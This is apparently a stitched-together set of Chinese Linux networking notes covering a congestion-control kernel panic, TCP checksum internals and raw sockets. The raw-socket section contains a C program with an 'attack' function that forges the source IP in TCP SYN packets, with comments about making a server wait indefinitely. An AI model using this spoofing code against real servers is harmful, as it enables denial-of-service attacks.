24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/* Change congestion control for socket */
int tcp_set_congestion_control(struct sock *sk, const char *name)
{
	struct inet_connection_sock *icsk = inet_csk(sk);
	struct tcp_congestion_ops *ca;
	int err = 0;

	rcu_read_lock();
	ca = tcp_ca_find(name);

	/* no change asking for existing value */
	if (ca == icsk->icsk_ca_ops)
		goto out;

#ifdef CONFIG_MODULES
	/* not found attempt to autoload module */
	if (!ca && capable(CAP_NET_ADMIN)) {
		rcu_read_unlock();
		request_module("tcp_%s", name);
		rcu_read_lock();
		ca = tcp_ca_find(name);
	}
#endif
	if (!ca)
		err = -ENOENT;

	else if (!((ca->flags & TCP_CONG_NON_RESTRICTED) || capable(CAP_NET_ADMIN)))
		err = -EPERM;

	else if (!try_module_get(ca->owner))
		err = -EBUSY;

	else {
		tcp_cleanup_congestion_control(sk);
		icsk->icsk_ca_ops = ca;

		if (sk->sk_state != TCP_CLOSE && icsk->icsk_ca_ops->init) // 如果sk->sk_state = TCP_CLOSE, 那么不会调用拥塞控制模块的初始化
			icsk->icsk_ca_ops->init(sk);
	}
 out:
	rcu_read_unlock();
	return err;
}

可以看到,如果sk->sk_state = TCP_CLOSE, 那么不会调用拥塞控制模块的初始化。


那么什么时候sk->sk_state == TCP_CLOSE,并且还能调用setsockopt呢?

举一种情况:当收到RST包的时候,tcp_rcv_established()->tcp_validate_incoming()->tcp_reset()->tcp_done()将sk置为TCP_CLOSE。
如果拥塞控制模块中init有申请内存,release中释放内存。那么在上述情况下将会出现没有申请而直接释放的情况,导致panic。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
BUG: unable to handle kernel paging request at ffffeba4000002a0

[<ffffffff8115b17e>] kfree+0x6e/0x240
[<ffffffffa0068055>] cong_release+0x35/0x50 [cong]
[<ffffffff81467953>] tcp_cleanup_congestion_control+0x23/0x40
[<ffffffff81465bb9>] tcp_v4_destroy_sock+0x29/0x2d0
[<ffffffff8144e9e3>] inet_csk_destroy_sock+0x53/0x140
[<ffffffff814504c0>] tcp_close+0x340/0x4a0
[<ffffffff814748de>] inet_release+0x5e/0x90
[<ffffffff813f4359>] sock_release+0x29/0x90
[<ffffffff813f43d7>] sock_close+0x17/0x40
[<ffffffff81173ed3>] __fput+0xf3/0x220
[<ffffffff8117401c>] fput+0x1c/0x30
[<ffffffff8116df2d>] filp_close+0x5d/0x90
[<ffffffff8117090c>] sys_close+0xac/0x110
[<ffffffff8100af72>] system_call_fastpath+0x16/0x1b

测试代码

congestion_mod_panic

TCP校验和的原理和实现

http://blog.csdn.net/zhangskd/article/details/11770647

概述

TCP校验和是一个端到端的校验和,由发送端计算,然后由接收端验证。其目的是为了发现TCP首部和数据在发送端到接收端之间发生的任何改动。如果接收方检测到校验和有差错,则TCP段会被直接丢弃。

TCP校验和覆盖TCP首部和TCP数据,而IP首部中的校验和只覆盖IP的首部,不覆盖IP数据报中的任何数据。

TCP的校验和是必需的,而UDP的校验和是可选的。

TCP和UDP计算校验和时,都要加上一个12字节的伪首部。

伪首部

伪首部共有12字节,包含如下信息:源IP地址、目的IP地址、保留字节(置0)、传输层协议号(TCP是6)、TCP报文长度(报头+数据)。

伪首部是为了增加TCP校验和的检错能力:如检查TCP报文是否收错了(目的IP地址)、传输层协议是否选对了(传输层协议号)等。

定义

(1) RFC 793的TCP校验和定义

The checksum field is the 16 bit one’s complement of the one’s complement sum of all 16-bit words in the header and text. If a segment contains an odd number of header and text octets to be checksummed, the last octet is padded on the right with zeros to form a 16-bit word for checksum purposes. The pad is not transmitted as part of the segment. While computing the checksum, the checksum field itself is replaced with zeros.

上述的定义说得很明确:
首先,把伪首部、TCP报头、TCP数据分为16位的字,如果总长度为奇数个字节,则在最后增添一个位都为0的字节。把TCP报头中的校验和字段置为0(否则就陷入鸡生蛋还是蛋生鸡的问题)。

其次,用反码相加法累加所有的16位字(进位也要累加)。

最后,对计算结果取反,作为TCP的校验和。

(2) RFC 1071的IP校验和定义

1.Adjacent octets to be checksummed are paired to form 16-bit integers, and the 1’s complement sum of these 16-bit integers is formed.

2.To generate a checksum, the checksum field itself is cleared, the 16-bit 1’s complement sum is computed over the octets concerned, and the 1’s complement of this sum is placed in the checksum field.

3.To check a checksum, the 1’s complement sum is computed over the same set of octets, including the checksum field. If the result is all 1 bits (-0 in 1’s complement arithmetic), the check succeeds.

可以看到,TCP校验和、IP校验和的计算方法是基本一致的,除了计算的范围不同。

实现

基于2.6.18、x86_64。

csum_tcpudp_nofold()按4字节累加伪首部到sum中。

1
2
3
4
5
6
7
8
9
10
11
12
static inline unsigned long csum_tcpudp_nofold (unsigned long saddr, unsigned long daddr,  
						unsigned short len, unsigned short proto,  
						unsigned int sum)  
{  
	asm("addl %1, %0\n"    /* 累加daddr */  
		"adcl %2, %0\n"    /* 累加saddr */  
		"adcl %3, %0\n"    /* 累加len(2字节), proto, 0*/  
		"adcl $0, %0\n"    /*加上进位 */  
		: "=r" (sum)  
		: "g" (daddr), "g" (saddr), "g" ((ntohs(len) << 16) + proto*256), "0" (sum));  
	return sum;  
}   

csum_tcpudp_magic()产生最终的校验和。

首先,按4字节累加伪首部到sum中。

其次,累加sum的低16位、sum的高16位,并且对累加的结果取反。

最后,截取sum的高16位,作为校验和。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static inline unsigned short int csum_tcpudp_magic(unsigned long saddr, unsigned long daddr,  
							unsigned short len, unsigned short proto,  
							unsigned int sum)  
{  
	return csum_fold(csum_tcpudp_nofold(saddr, daddr, len, proto, sum));  
}  
  
static inline unsigned int csum_fold(unsigned int sum)  
{  
	__asm__(  
		"addl %1, %0\n"  
		"adcl 0xffff, %0"  
		: "=r" (sum)  
		: "r" (sum << 16), "0" (sum & 0xffff0000)   
  
		/* 将sum的低16位,作为寄存器1的高16位,寄存器1的低16位补0。 
		  * 将sum的高16位,作为寄存器0的高16位,寄存器0的低16位补0。 
		  * 这样,addl %1, %0就累加了sum的高16位和低16位。 
		  * 
		 * 还要考虑进位。如果有进位,adcl 0xfff, %0为:0x1 + 0xffff + %0,寄存器0的高16位加1。 
		  * 如果没有进位,adcl 0xffff, %0为:0xffff + %0,对寄存器0的高16位无影响。 
		  */  
  
	);  
  
	return (~sum) >> 16; /* 对sum取反,返回它的高16位,作为最终的校验和 */  
}  

发送校验

1
2
3
4
5
#define CHECKSUM_NONE 0 /* 不使用校验和,UDP可选 */  
#define CHECKSUM_HW 1 /* 由硬件计算报头和首部的校验和 */  
#define CHECKSUM_UNNECESSARY 2 /* 表示不需要校验,或者已经成功校验了 */  
#define CHECKSUM_PARTIAL CHECKSUM_HW  
#define CHECKSUM_COMPLETE CHECKSUM_HW  
@tcp_transmit_skb()
icsk->icsk_af_ops->send_check(sk, skb->len, skb); /* 计算校验和 */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void tcp_v4_send_check(struct sock *sk, int len, struct sk_buff *skb)  
{  
	struct inet_sock *inet = inet_sk(sk);  
	struct tcphdr *th = skb->h.th;  
   
	if (skb->ip_summed == CHECKSUM_HW) {  
		/* 只计算伪首部,TCP报头和TCP数据的累加由硬件完成 */  
		th->check = ~tcp_v4_check(th, len, inet->saddr, inet->daddr, 0);  
		skb->csum = offsetof(struct tcphdr, check); /* 校验和值在TCP首部的偏移 */  
  
	} else {  
		/* tcp_v4_check累加伪首部,获取最终的校验和。 
		 * csum_partial累加TCP报头。 
		 * 那么skb->csum应该是TCP数据部分的累加,这是在从用户空间复制时顺便累加的。 
		 */  
		th->check = tcp_v4_check(th, len, inet->saddr, inet->daddr,  
					csum_partial((char *)th, th->doff << 2, skb->csum));  
	}  
}  
1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned csum_partial(const unsigned char *buff, unsigned len, unsigned sum)  
{  
	return add32_with_carry(do_csum(buff, len), sum);  
}  
  
static inline unsigned add32_with_carry(unsigned a, unsigned b)  
{  
	asm("addl %2, %0\n\t"  
		 "adcl $0, %0"  
		 : "=r" (a)  
		 : "0" (a), "r" (b));  
	return a;  
}   

do_csum()用于计算一段内存的校验和,这里用于累加TCP报头。

具体计算时用到一些技巧:
1.反码累加时,按16位、32位、64位来累加的效果是一样的。
2.使用内存对齐,减少内存操作的次数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
static __force_inline unsigned do_csum(const unsigned char *buff, unsigned len)  
{  
	unsigned odd, count;  
	unsigned long result = 0;  
  
	if (unlikely(len == 0))  
		return result;  
  
	/* 使起始地址为XXX0,接下来可按2字节对齐 */  
	odd = 1 & (unsigned long) buff;  
	if (unlikely(odd)) {  
		result = *buff << 8; /* 因为机器是小端的 */  
		len--;  
		buff++;  
	}  
	count = len >> 1; /* nr of 16-bit words,这里可能余下1字节未算,最后会处理*/  
  
	if (count) {  
		/* 使起始地址为XX00,接下来可按4字节对齐 */  
		if (2 & (unsigned long) buff) {  
			result += *(unsigned short *)buff;  
			count--;  
			len -= 2;  
			buff += 2;  
		}  
		count >>= 1; /* nr of 32-bit words,这里可能余下2字节未算,最后会处理 */  
  
		if (count) {  
			unsigned long zero;  
			unsigned count64;  
			/* 使起始地址为X000,接下来可按8字节对齐 */  
			if (4 & (unsigned long)buff) {  
				result += *(unsigned int *)buff;  
				count--;  
				len -= 4;  
				buff += 4;  
			}  
			count >>= 1; /* nr of 64-bit words,这里可能余下4字节未算,最后会处理*/  
  
			/* main loop using 64byte blocks */  
			zero = 0;  
			count64 = count >> 3; /* 64字节的块数,这里可能余下56字节未算,最后会处理 */  
			while (count64) { /* 反码累加所有的64字节块 */  
				asm ("addq 0*8(%[src]), %[res]\n\t"    /* b、w、l、q分别对应8、16、32、64位操作 */  
					"addq 1*8(%[src]), %[res]\n\t"    /* [src]为指定寄存器的别名,效果应该等同于0、1等 */  
					"adcq 2*8(%[src]), %[res]\n\t"  
					"adcq 3*8(%[src]), %[res]\n\t"  
					"adcq 4*8(%[src]), %[res]\n\t"  
					"adcq 5*8(%[src]), %[res]\n\t"  
					"adcq 6*8(%[src]), %[res]\n\t"  
					"adcq 7*8(%[src]), %[res]\n\t"  
					"adcq %[zero], %[res]"  
					: [res] "=r" (result)  
					: [src] "r" (buff), [zero] "r" (zero), "[res]" (result));  
				buff += 64;  
				count64--;  
			}  
  
			/* 从这里开始,反序处理之前可能漏算的字节 */  
  
			/* last upto 7 8byte blocks,前面按8个8字节做计算单位,所以最多可能剩下7个8字节 */  
			count %= 8;  
			while (count) {  
				asm ("addq %1, %0\n\t"  
					 "adcq %2, %0\n"  
					 : "=r" (result)  
					 : "m" (*(unsigned long *)buff), "r" (zero), "0" (result));  
				--count;  
				buff += 8;  
			}  
  
			/* 带进位累加result的高32位和低32位 */  
			result = add32_with_carry(result>>32, result&0xffffffff);  
  
			/* 之前始按8字节对齐,可能有4字节剩下 */  
			if (len & 4) {  
				result += *(unsigned int *) buff;  
				buff += 4;  
			}  
		}  
  
	   /* 更早前按4字节对齐,可能有2字节剩下 */  
		if (len & 2) {  
			result += *(unsigned short *) buff;  
			buff += 2;  
		}  
	}  
  
	/* 最早之前按2字节对齐,可能有1字节剩下 */  
	if (len & 1)  
		result += *buff;  
  
	/* 再次带进位累加result的高32位和低32位 */  
	result = add32_with_carry(result>>32, result & 0xffffffff);   
  
	/* 这里涉及到一个技巧,用于处理初始地址为奇数的情况 */  
	if (unlikely(odd)) {  
		result = from32to16(result); /* 累加到result的低16位 */  
		/* result为:0 0 a b 
		 * 然后交换a和b,result变为:0 0 b a 
		 */  
		result = ((result >> 8) & 0xff) | ((result & oxff) << 8);  
	}  
  
	return result; /* 返回result的低32位 */  
}  
1
2
3
4
5
6
7
8
9
static inline unsigned short from32to16(unsigned a)  
{  
	unsigned short b = a >> 16;  
	asm ("addw %w2, %w0\n\t"  
			  "adcw $0, %w0\n"  
			  : "=r" (b)  
			  : "0" (b), "r" (a));  
	return b;  
}  

csum_partial_copy_from_user()用于拷贝用户空间数据到内核空间,同时计算用户数据的校验和,结果保存到skb->csum中(X86_64)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/** 
 * csum_partial_copy_from_user - Copy and checksum from user space. 
 * @src: source address (user space) 
 * @dst: destination address 
 * @len: number of bytes to be copied. 
 * @isum: initial sum that is added into the result (32bit unfolded) 
 * @errp: set to -EFAULT for an bad source address. 
 * 
 * Returns an 32bit unfolded checksum of the buffer. 
 * src and dst are best aligned to 64bits. 
 */  
  
unsigned int csum_partial_copy_from_user(const unsigned char __user *src,  
						unsigned char *dst, int len, unsigned int isum, int *errp)  
{  
	might_sleep();  
	*errp = 0;  
  
	if (likely(access_ok(VERIFY_READ, src, len))) {  
  
		/* Why 6, not 7? To handle odd addresses aligned we would need to do considerable 
		 * complications to fix the checksum which is defined as an 16bit accumulator. The fix 
		 * alignment code is primarily for performance compatibility with 32bit and that will handle 
		 * odd addresses slowly too. 
		 * 处理X010、X100、X110的起始地址。不处理X001,因为这会使复杂度大增加。 
		 */  
		if (unlikely((unsigned long)src & 6)) {  
			while (((unsigned long)src & 6) && len >= 2) {  
				__u16 val16;  
				*errp = __get_user(val16, (__u16 __user *)src);  
				if (*errp)  
					return isum;  
				*(__u16 *)dst = val16;  
				isum = add32_with_carry(isum, val16);  
				src += 2;  
				dst += 2;  
				len -= 2;  
			}  
		}  
  
		/* 计算函数是用纯汇编实现的,应该是因为效率吧 */  
		isum = csum_parial_copy_generic((__force void *)src, dst, len, isum, errp, NULL);  
  
		if (likely(*errp == 0))  
			return isum; /* 成功 */  
	}  
  
	*errp = -EFAULT;  
	memset(dst, 0, len);  
	return isum;  
}  

上述的实现比较复杂,来看下最简单的csum_partial_copy_from_user()实现(um)。

1
2
3
4
5
6
7
8
9
10
11
unsigned int csum_partial_copy_from_user(const unsigned char *src,  
						unsigned char *dst, int len, int sum,  
						int *err_ptr)  
{  
	if (copy_from_user(dst, src, len)) { /* 拷贝用户空间数据到内核空间 */  
		*err_ptr = -EFAULT; /* bad address */  
		return (-1);  
	}  
  
	return csum_partial(dst, len, sum); /* 计算用户数据的校验和,会存到skb->csum中 */  
}  

接收校验

@tcp_v4_rcv
/* 检查校验和 */
if (skb->ip_summed != CHECKSUM_UNNECESSARY && tcp_v4_checksum_init(skb))  
    goto bad_packet;   

接收校验的第一部分,主要是计算伪首部。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static int tcp_v4_checksum_init(struct sk_buff *skb)  
{  
	/* 如果TCP报头、TCP数据的反码累加已经由硬件完成 */  
	if (skb->ip_summed == CHECKSUM_HW) {  
  
		/* 现在只需要再累加上伪首部,取反获取最终的校验和。 
		 * 校验和为0时,表示TCP数据报正确。 
		 */  
		if (! tcp_v4_check(skb->h.th, skb->len, skb->nh.iph->saddr, skb->nh.iph->daddr, skb->csum)) {  
			skb->ip_summed = CHECKSUM_UNNECESSARY;  
			return 0; /* 校验成功 */  
  
		} /* 没有else失败退出吗?*/  
	}  
  
	/* 对伪首部进行反码累加,主要用于软件方法 */  
	skb->csum = csum_tcpudp_nofold(skb->nh.iph->saddr, skb->nh.iph->daddr, skb->len, IPPROTO_TCP, 0);  
   
  
	/* 对于长度小于76字节的小包,接着累加TCP报头和报文,完成校验;否则,以后再完成检验。*/  
	if (skb->len <= 76) {  
		return __skb_checksum_complete(skb);  
	}  
}  

接收校验的第二部分,计算报头和报文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
tcp_v4_rcv、tcp_v4_do_rcv()

  | --> tcp_checksum_complete()

      | --> __tcp_checksum_complete()

          | --> __skb_checksum_complete()


tcp_rcv_established()

  | --> tcp_checksum_complete_user()

      | --> __tcp_checksum_complete_user()

          | --> __tcp_checksum_complete()

              | --> __skb_checksum_complete()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int __skb_checksum_complete(struct sk_buff *skb)  
{  
	unsigned int sum;  
  
	sum = (u16) csum_fold(skb_checksum(skb, 0, skb->len, skb->csum));  
  
	if (likely(!sum)) { /* sum为0表示成功了 */  
		/* 硬件检测失败,软件检测成功了,说明硬件检测有误 */  
		if (unlikely(skb->ip_summed == CHECKSUM_HW))  
			netdev_rx_csum_fault(skb->dev);  
		skb->ip_summed = CHECKSUM_UNNECESSARY;  
	}  
	return sum;  
}  

计算skb包的校验和时,可以指定相对于skb->data的偏移量offset。由于skb包可能由分页和分段,所以需要考虑skb->data + offset是位于此skb段的线性区中、还是此skb的分页中,或者位于其它分段中。这个函数逻辑比较复杂。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
/* Checksum skb data. */  
unsigned int skb_checksum(const struct sk_buff *skb, int offset, int len, unsigned int csum)  
{  
	int start = skb_headlen(skb); /* 线性区域长度 */  
	/* copy > 0,说明offset在线性区域中。 
	 * copy < 0,说明offset在此skb的分页数据中,或者在其它分段skb中。 
	 */  
	int i, copy = start - offset;  
	int pos = 0; /* 表示校验了多少数据 */  
  
	/* Checksum header. */  
	if (copy > 0) { /* 说明offset在本skb的线性区域中 */  
		if (copy > len)  
			copy = len; /* 不能超过指定的校验长度 */  
  
		/* 累加copy长度的线性区校验 */  
		csum = csum_partial(skb->data + offset, copy, csum);  
  
		if ((len -= copy) == 0)  
			return csum;  
  
		offset += copy; /* 接下来从这里继续处理 */  
		pos = copy; /* 已处理数据长 */  
	}  
  
	/* 累加本skb分页数据的校验和 */  
	for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {  
		int end;  
		BUG_TRAP(start <= offset + len);  
	  
		end = start + skb_shinfo(skb)->frags[i].size;  
  
		if ((copy = end - offset) > 0) { /* 如果offset位于本页中,或者线性区中 */  
			unsigned int csum2;  
			u8 *vaddr; /* 8位够吗?*/  
			skb_frag_t *frag = &skb_shinfo(skb)->frags[i];  
   
			if (copy > len)  
				copy = len;  
  
			vaddr = kmap_skb_frag(frag); /* 把物理页映射到内核空间 */  
			csum2 = csum_partial(vaddr + frag->page_offset + offset - start, copy, 0);  
			kunmap_skb_frag(vaddr); /* 解除映射 */  
  
			/* 如果pos为奇数,需要对csum2进行处理。 
			 * csum2:a, b, c, d => b, a, d, c 
			 */  
			csum = csum_block_add(csum, csum2, pos);  
  
			if (! (len -= copy))  
				return csum;  
  
			offset += copy;  
			pos += copy;  
		}  
		start = end; /* 接下来从这里处理 */  
	}  
   
	/* 如果此skb是个大包,还有其它分段 */  
	if (skb_shinfo(skb)->frag_list) {  
		struct sk_buff *list = skb_shinfo(skb)->frag_list;  
  
		for (; list; list = list->next) {  
			int end;  
			BUG_TRAP(start <= offset + len);  
   
			end = start + list->len;  
  
			if ((copy = end - offset) > 0) { /* 如果offset位于此skb分段中,或者分页,或者线性区 */  
				unsigned int csum2;  
				if (copy > len)  
					copy = len;  
  
				csum2 = skb_checksum(list, offset - start, copy, 0); /* 递归调用 */  
				csum = csum_block_add(csum, csum2, pos);  
				if ((len -= copy) == 0)  
					return csum;  
  
				offset += copy;  
				pos += copy;  
			}  
			start = end;  
		}  
	}  
  
	BUG_ON(len);  
	return csum;  
}

重算skb的checksum

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <linux/version.h>
#include <linux/net.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <net/tcp.h>

void skbcsum(struct sk_buff *skb)
{
	struct tcphdr *tcph;
	struct iphdr *iph;
	int iphl;
	int tcphl;
	int tcplen;

	iph = (struct iphdr *)skb->data;
	iphl = iph->ihl << 2;
	tcph = (struct tcphdr *)(skb->data + iphl);
	tcphl = tcph->doff << 2;

	iph->check = 0;
	iph->check = ip_fast_csum((unsigned char *)iph, iph->ihl);

	tcph->check    = 0;
	tcplen        = skb->len - (iph->ihl << 2);
	if (skb->ip_summed == CHECKSUM_PARTIAL) {
		tcph->check = ~csum_tcpudp_magic(iph->saddr, iph->daddr,
				tcplen, IPPROTO_TCP, 0);
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 32)
		skb->csum = offsetof(struct tcphdr, check);
#else
		skb->csum_start    = skb_transport_header(skb) - skb->head;
		skb->csum_offset = offsetof(struct tcphdr, check);
#endif
	}
	else {
		skb->csum = 0;
		skb->csum = skb_checksum(skb, iph->ihl << 2, tcplen, 0);
		tcph->check = csum_tcpudp_magic(iph->saddr, iph->daddr,
				tcplen, IPPROTO_TCP, skb->csum);

	}
}

Linux网络编程:原始套接字 SOCK_RAW

http://blog.chinaunix.net/uid-23069658-id-3280895.html

一、修改iphdr+tcphdr

对于TCP或UDP的程序开发,焦点在Data字段,我们没法直接对TCP或UDP头部字段进行赤裸裸的修改,当然还有IP头。换句话说,我们对它们头部操作的空间非常受限,只能使用它们已经开放给我们的诸如源、目的IP,源、目的端口等等。

原始套接字的创建方法:

1
socket(AF_INET, SOCK_RAW, protocol);

重点在protocol字段,这里就不能简单的将其值为0了。在头文件netinet/in.h中定义了系统中该字段目前能取的值,注意:有些系统中不一定实现了netinet/in.h中的所有协议。源代码的linux/in.h中和netinet/in.h中的内容一样。我们常见的有IPPROTO_TCP,IPPROTO_UDP和IPPROTO_ICMP。

用这种方式我就可以得到原始的IP包了,然后就可以自定义IP所承载的具体协议类型,如TCP,UDP或ICMP,并手动对每种承载在IP协议之上的报文进行填充。

先简单复习一下TCP报文的格式

原始套接字还提供了一个非常有用的参数IP_HDRINCL:

1、当开启该参数时:我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项,但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的,不需要我们关心。

2、如果不开启该参数:我们所构造的报文是从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。

开启IP_HDRINCL特性的模板代码一般为:

1
2
3
4
const int on =1;
if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
	printf("setsockopt error!\n");
}

所以,我们还得复习一下IP报文的首部格式:

同样,我们重点关注IP首部中的着色部分区段的填充情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>

#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>

unsigned csum_tcpudp_nofold(unsigned saddr, unsigned daddr,
			unsigned len, unsigned proto, unsigned sum)
{
	unsigned long long s = (unsigned)sum;
	s += (unsigned)saddr;
	s += (unsigned)daddr;
	s += (proto + len) << 8;
	s += (s >> 32);
	return (unsigned)s;
}

unsigned short check_sum(unsigned short *addr, int len, unsigned sum)
{
	int nleft = len;
	unsigned short *w = addr;
	unsigned short ret = 0;
	while (nleft > 1) {
		sum += *w++;
		nleft -= 2;
	}
	if (nleft == 1) {
		*(unsigned char *)(&ret) = *(unsigned char *)w;
		sum += ret;
	}

	sum = (sum>>16) + (sum&0xffff);
	sum += (sum>>16);
	ret = ~sum;
	return ret;
}

//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
void attack(int skfd, struct sockaddr_in *target, unsigned short srcport)
{
	char buf[256] = {0};
	struct ip *ip;
	struct tcphdr *tcp;
	int ip_len;
	int op_len = 12;

	//在我们TCP的报文中Data没有字段,所以整个IP报文的长度
	ip_len = sizeof(struct ip) + sizeof(struct tcphdr) + op_len;

	//开始填充IP首部
	ip=(struct ip*)buf;
	ip->ip_v = IPVERSION;
	ip->ip_hl = sizeof(struct ip)>>2;
	ip->ip_tos = 0;
	ip->ip_len = htons(ip_len);
	ip->ip_id = 0;
	ip->ip_off = 0;
	ip->ip_ttl = MAXTTL;
	ip->ip_p = IPPROTO_TCP;
	ip->ip_sum = 0;
	ip->ip_dst = target->sin_addr;

	//开始填充TCP首部
	tcp = (struct tcphdr*)(buf+sizeof(struct ip));
	tcp->source = htons(srcport);
	tcp->dest = target->sin_port;
	srand(time(NULL));
	tcp->doff = (sizeof(struct tcphdr) + op_len) >> 2; // tcphdr + option
	tcp->syn = 1;
	tcp->check = 0;
	tcp->window = ntohs(14600);

	int i = ip_len - op_len;
	// mss = 1460
	buf[i++] = 0x02;
	buf[i++] = 0x04;
	buf[i++] = 0x05;
	buf[i++] = 0xb4;
	// sack
	buf[i++] = 0x01;
	buf[i++] = 0x01;
	buf[i++] = 0x04;
	buf[i++] = 0x02;
	// wsscale = 7
	buf[i++] = 0x01;
	buf[i++] = 0x03;
	buf[i++] = 0x03;
	buf[i++] = 0x07;

	int T = 1;
	while(1) {
		if (T == 0) break;
		T--;
		tcp->seq = random();
		//源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
		//ip->ip_src.s_addr = random();
		//自定义源地址192.168.204.136 = 0xc0a8cc88; 反转赋值
		ip->ip_src.s_addr = 0x88cca8c0;
		unsigned sum = csum_tcpudp_nofold(ip->ip_src.s_addr, ip->ip_dst.s_addr, sizeof(struct tcphdr)+op_len, IPPROTO_TCP, 0);
		tcp->check = check_sum((unsigned short*)tcp, sizeof(struct tcphdr)+op_len, sum);
//        ip->ip_sum = check_sum((unsigned short*)ip, sizeof(struct ip), 0);
		sendto(skfd, buf, ip_len, 0, (struct sockaddr*)target, sizeof(struct sockaddr_in));
	}
}

int main(int argc, char** argv)
{
	int skfd;
	struct sockaddr_in target;
	struct hostent *host;
	const int on = 1;
	unsigned short srcport;

	if (argc != 4) {
		printf("Usage:%s dstip dstport srcport\n", argv[0]);
		exit(1);
	}

	bzero(&target, sizeof(struct sockaddr_in));
	target.sin_family = AF_INET;
	target.sin_port = htons(atoi(argv[2]));

	if (inet_aton(argv[1], &target.sin_addr) == 0) {
		host = gethostbyname(argv[1]);
		if(host == NULL) {
			printf("TargetName Error:%s\n", hstrerror(h_errno));
			exit(1);
		}
		target.sin_addr = *(struct in_addr *)(host->h_addr_list[0]);
	}

	//将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
	if (0 > (skfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP))) {
		perror("Create Error");
		exit(1);
	}

	//用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
	if (0 > setsockopt(skfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on))) {
		perror("IP_HDRINCL failed");
		exit(1);
	}

	//因为只有root用户才可以play with raw socket :)
	setuid(getpid());
	srcport = atoi(argv[3]);
	attack(skfd, &target, srcport);
}
  • 原始套接字上也可以调用connet、bind之类的函数

修改mac+iphdr+tcphdr

blog.chinaunix.net/uid-23069658-id-3283534.html

在Linux系统中要从链路层(MAC)直接收发数帧,比较普遍的做法就是用libpcap和libnet两个动态库来实现。但今天我们就要用原始套接字来实现这个功能。

这里的2字节帧类型用来指示该数据帧所承载的上层协议是IP、ARP或其他。

为了实现直接从链路层收发数据帧,我们要用到原始套接字的如下形式:

1
socket(PF_PACKET, type, protocol)

1、其中type字段可取SOCK_RAW或SOCK_DGRAM。它们两个都使用一种与设备无关的标准物理层地址结构struct sockaddr_ll{},但具体操作的报文格式不同:

SOCK_RAW:直接向网络硬件驱动程序发送(或从网络硬件驱动程序接收)没有任何处理的完整数据报文(包括物理帧的帧头),这就要求我们必须了解对应设备的物理帧帧头结构,才能正确地装载和分析报文。也就是说我们用这种套接字从网卡驱动上收上来的报文包含了MAC头部,如果我们要用这种形式的套接字直接向网卡发送数据帧,那么我们必须自己组装我们MAC头部。这正符合我们的需求。

SOCK_DGRAM:这种类型的套接字对于收到的数据报文的物理帧帧头会被系统自动去掉,然后再将其往协议栈上层传递;同样地,在发送时数据时,系统将会根据sockaddr_ll结构中的目的地址信息为数据报文添加一个合适的MAC帧头。

2、protocol字段,常见的,一般情况下该字段取ETH_P_IP,ETH_P_ARP,ETH_P_RARP或ETH_P_ALL,当然链路层协议很多,肯定不止我们说的这几个,但我们一般只关心这几个就够我们用了。这里简单提一下网络数据收发的一点基础。协议栈在组织数据收发流程时需要处理好两个方面的问题:“从上倒下”,即数据发送的任务;“从下到上”,即数据接收的任务。数据发送相对接收来说要容易些,因为对于数据接收而言,网卡驱动还要明确什么样的数据该接收、什么样的不该接收等问题。protocol字段可选的四个值及其意义如下:

protocol 值 作用
